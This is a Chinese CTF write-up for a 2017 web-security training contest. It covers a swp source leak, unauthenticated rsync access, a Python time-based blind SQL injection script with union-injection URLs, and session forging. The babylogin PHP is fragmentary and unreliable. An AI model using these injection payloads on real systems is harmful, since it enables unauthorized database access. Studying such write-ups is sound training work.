2017秋季赛Web安全测试训练赛wp【安恒】

0x00编辑器的锅

看到题目名字就差不多猜到了,swp文件泄露,http://114.55.36.69:20380/.login.php.swp,下载拿到swp文件,打开虚拟机,启动kali,利用命令行执行vim -r login.php.swp,修复看到源码,很明显的name和password,输入,直接getflag

0x01 服务发现

这题awvs没扫到有啥漏洞,表哥给的提示是rsync漏洞

Nmap扫描了下端口

 2017秋季赛Web安全测试训练赛wp【安恒】_第1张图片

很明显在873端口

参考网上对于这种漏洞的利用方法,

Rsync -avz --port=873 118.178.18.181::”source code”/flag.php /root/桌面

搞定flag(靠印象写的,目录不确定了,应该没错)

 

0x02 babysql

 

这个题目,,,很尴尬,首先选的注入点是id,不需要’或”的闭合,直接and可以执行,通过盲注搞定数据库名和表名,代码如下:

__author__ = 'netfish'

# -*-coding:utf-8-*-

 

import requests

import time

 

payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.{}-'  #不区分大小写的

 

flag = ""

key=0

print("Start")

for i in range(1,12):

    if key == 1:

        break

    for payload in range(30,125):

        starttime = time.time()#记录当前时间

        headers = {'Host': '114.55.36.69:20680',

'Pragma': 'no-cache',

'Cache-Control': 'no-cache',

'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36',

'Upgrade-Insecure-Requests': '1',

'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',

'Accept-Encoding': 'gzip, deflate',

'Accept-Language': 'zh-CN,zh;q=0.8',

'Connection': 'close'

                   }

        # url = "http://114.55.36.69:20680/index.php?table=&id=3 and case when(ascii(substr(database(),{0},1))={1}) then sleep(7) else sleep(0) end#".format(i,payload)#数据库

        '''

        [Finally] current database is errorerror

        '''

        #url = "http://114.55.36.69:20680/index.php?table=&id=3 and case when((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0) then sleep(5) else sleep(0) end#"

        '''

        手动测试长度,第一个长度为10,limit 0,1

        [Finally] current table is error_flag

        手动测试长度,第二个长度为10,limit 1,1

        [Finally] current table is error_news

        手动测试不存在第三个表

        '''

        #url = "http://114.55.36.69:20680/index.php?table=&id=3 and case when(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),{0},1))={1}) then sleep(7) else sleep(0) end#".format(i,payload)

 

 

        #url ="http://114.55.36.69:20680/index.php?table=&id=3 and case when((select length(extractvalue(0x3C613E636f6c756d6e5f6e616d653C2F613E,0x2f61)) from information_schema.columns where table_name=extractvalue(0x3C613E6572726f725f666c61673C2F613E,0x2f61) limit 0,1)>10) then sleep(7) else sleep(0) end#"

        '''

        手动测试第一个字段长度为11

        [Finally] column is column_name

        '''

        url = "http://114.55.36.69:20680/index.php?table=&id=3 and case when(ascii(substr((select (extractvalue(0x3C613E636f6c756d6e5f6e616d653C2F613E,0x2f61)) from information_schema.columns where table_name=extractvalue(0x3C613E6572726f725f666c61673C2F613E,0x2f61) limit 0,1),{0},1))={1}) then sleep(7) else sleep(0) end#".format(i,payload)

 

        res = requests.get(url, headers=headers)

        if time.time() - starttime > 7:

            flag += chr(payload)

            print('\n column is:', flag)

            break

        else:

            if payload == 125:

                key = 1

                break

print('\n[Finally] column table is %s' % flag)

然后很气的就是*和information_column都被过滤了,,,,很尴尬的绕过过程就不说了,,,蜜汁尴尬

 

之后就是先实验了表哥提示的`和报错注入,,,一直没有太多发现,不过研究`的时候发现了很多很有意思的事,`的注入(也不知道是不是注入,各种很神奇的发现)比如`#`与`%23`

后来表哥给了个table没有过滤information_column,利用`可以成功用where的提示,然后就开始了稀里糊涂的尝试

http://114.55.36.69:20680/index.php?table=news`%23`where%201=1%20and%20sleep(3)%23&id=3

成功执行,本来想着继续sleep盲注的,后来想到这是有回显的,可不可以直接select

http://114.55.36.69:20680/index.php?table=news`%23`where%201=2%20union%20(select%201,2,column_name%20from%20information_schema.columns%20where%20table_name=extractvalue(0x3C613E6572726f725f666c61673C2F613E,0x2f61)%20limit%200,1)%20%23&id=3

 

几个点吧,

第一个是前面where弄成1=2,这样union联合查询只有后面的数据

第二个是select要用1,2,column_name,这里有个报错,查了下百度,解释是union联合查询的查询数量不一样,按照最早测试的id可以有3个,1,2,3都有回显,所以确定前面的查询数量为3,这里补上1,2,满足查询三个

第三个点是error_flag需要绕过,,,,不说了不说了,extractvalue函数

第四个点是因为用了limit,因为逗号的原因,所以加上括号说明下执行顺序

 

,,,搞到字段名,,,坑啊,猜了好久的表名,怪不得猜不出来了flag_you_will_never_know,剩下的没啥好说的了,利用表名直接拿字段,flag出来

 

0x03 babylogin

想太多想太多,这题的感觉只有这个,思路后来想想还是很清晰的,倒推数据,直接搞定,md5那条路走不通,走的是__session这条路

代码如下:

第一部分,倒推代码:

"1'='1",

    "hash"=>true

);

$data = json_encode($session, JSON_FORCE_OBJECT);

echo $data;

$finally_data = base64_encode($data);

echo $finally_data;

第二部分,源码审计:

 

 

 $value) {

        $_GPC[$key2]=$value;

    }

}

/*

KEY2 1

$_GPC['']

*/

/*

 $value) {

    echo "Key: $key; Value: $value
\n"; } ?> Key: 0; Value: one
Key: 1; Value: two
Key: 2; Value: three
*/ //var_dump($_GPC);exit(); if ($_SERVER["REQUEST_METHOD"]=="GET"){#尝试使用get方式,未获取什么有效信息,只是直接跳转首页 echo include "outputtpl.php"; }else if($_SERVER["REQUEST_METHOD"]=="POST"){ $userin=addslashes($_POST["name"]);#在每个双引号(")前添加反斜杠 $passin=addslashes($_POST["password"]); $session = json_decode(base64_decode($_GPC['__session']), true);#json_decode接受一个 JSON 编码的字符串并且把它转换为 PHP 变量,变成数组 ;base64_decode对 base64 编码的 data 进行解码;$_GPC 全局请求变量, 获取 $_GET, $_POST, $_COOKIES 中的变量 if (is_array($session)){ $user = find_user_by_uid($session['uid']); if(is_array($user) && $session['hash'] == $user['password']){ $_SESSION["login"]=1; $_SESSION["userin"]=$userin; header("Location: admin.php"); exit(); }else{ echo "用户名或密码错误"; } }else{ $sql = "select password from admin where username='$userin'"; $row = mysql_fetch_array(mysql_query($sql)); if($row){ if($row[$passin]==md5($passin)){ $_SESSION["login"]=1; $_SESSION["userin"]=$userin; header("Location: admin.php"); exit(); }else{ echo "用户名或密码错误"; } }else{ echo "用户名或密码错误"; } } }else { echo "GET or POST plz!"; }

 

 

 

 

 

核心思想:sql注入,true弱口令

 

 

 

 

你可能感兴趣的:(ctf相关)